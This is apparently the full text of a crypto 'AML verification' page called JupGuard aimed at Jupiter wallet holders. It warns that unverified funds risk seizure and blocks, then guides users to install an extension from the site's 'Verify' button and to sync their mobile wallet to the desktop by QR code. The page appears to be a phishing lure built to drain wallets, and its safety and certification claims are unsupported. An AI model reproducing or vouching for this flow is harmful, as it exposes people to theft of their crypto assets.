Free ★ sanctions penetration testing
Verify Your Crypto Wallet Before It Gets Flagged

Our Advanced AML checks meticulously scans cryptocurrencies and transactions for illicit funds and cryptocurrency money laundering, providing detailed reports. Ensure legal compliance and safeguard against fraudsters.

AML for Jupiter wallets. Detect risks, avoid blocks, and stay compliant.

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How to succesfully complete the AML verification properly?

To complete AML verification, use a desktop or laptop with a freshly installed Brave browser to ensure a secure and reliable verification environment. Open Brave, access our platform, and click Verify to install the required wallet extension. Connect the wallet you wish to verify, then follow the guided steps to complete identity and compliance checks, including document and facial verification if required.

Why you should complete crypto currency AML and verify your wallet?

Handling illicit funds may trigger inquiries from regulatory authorities, potentially resulting in asset seizures and financial losses.

Verify Wallet
How it works

Use a desktop or laptop with a freshly installed Brave browser to ensure a safe environment. Open our platform in Brave, click Verify to install the required extension, then follow the steps to import your wallet and verify.

STEP 1
Install Brave Browser

Download and install the Brave browser on your desktop or laptop to ensure a secure and clean verification environment. A fresh installation helps prevent conflicts with existing extensions, cached data, or security risks that could interfere with the AML verification process.
STEP 2
Install Jupiter Extention

To proceed with AML verification, install the Jupiter wallet extension by clicking the Verify button on our website while using the Brave browser. This ensures you are installing the official extension in a secure environment, allowing you to safely connect your wallet and complete AML verification.
STEP 3
Import Exiting Wallet

Import your existing wallet into the Jupiter extension using one of the most secure import method. This allows the system to verify wallet ownership and proceed with compliance checks without accessing or controlling your funds.

STEP 4
Select Jupiter Mobile To Import

Choose Jupiter Mobile as your import method within the wallet extension. This option allows you to securely link your existing mobile wallet for verification without exposing your private keys or secret recovery phrase while maintaining full control of your assets.

STEP 5
Sync Wallet via QR Code

Open Settings in your Jupiter mobile wallet and select Jupiter Sync. Choose Mobile to Desktop as sync direction, then scan the QR code displayed on your desktop to securely import your wallet.

Verify Wallet
Why Use JupGuard
Security

GDPR-compliant for personal data privacy

Experience

We have saved approximately $5,359,800 from blocks on exchanges and cryptocurrency platforms

Reliability

We have the necessary certificates available for presentation to regulatory authorities

Support 24/7

We're available 24/7 to provide prompt assistance with any questions or concerns.

Securely Verify Your Wallet

Verify your wallet in minutes with a process that’s secure, simple, and fully trusted.

Verify Wallet

AML (Anti-Money Laundering) verification is required to comply with international regulations and prevent illegal activities such as fraud, terrorism financing, and money laundering. Verifying users helps ensure a safe, transparent ecosystem and allows platforms to operate legally across multiple jurisdictions.

Our verification process relies on a secure browser-based wallet extension that is only fully supported on desktop environments. Using a laptop or desktop ensures proper encryption, device integrity, and accurate verification checks.

A fresh installation of the Brave browser minimizes security risks such as malicious extensions, cached data, or compromised browser settings that could interfere with wallet authentication. This setup helps protect your assets, prevent unauthorized access, and ensures a smooth, tamper-free verification process.

All verification data is encrypted and processed using industry-standard security protocols. We do not sell or misuse personal information, and access is strictly limited to compliance purposes. Data handling complies with applicable privacy laws and AML regulations to ensure confidentiality and user protection.

Most verifications are completed within a few minutes once you follow and complete all the steps we require. However, in some cases—such as additional compliance checks—it may take longer. You will be notified immediately once your verification is approved or if further action is required.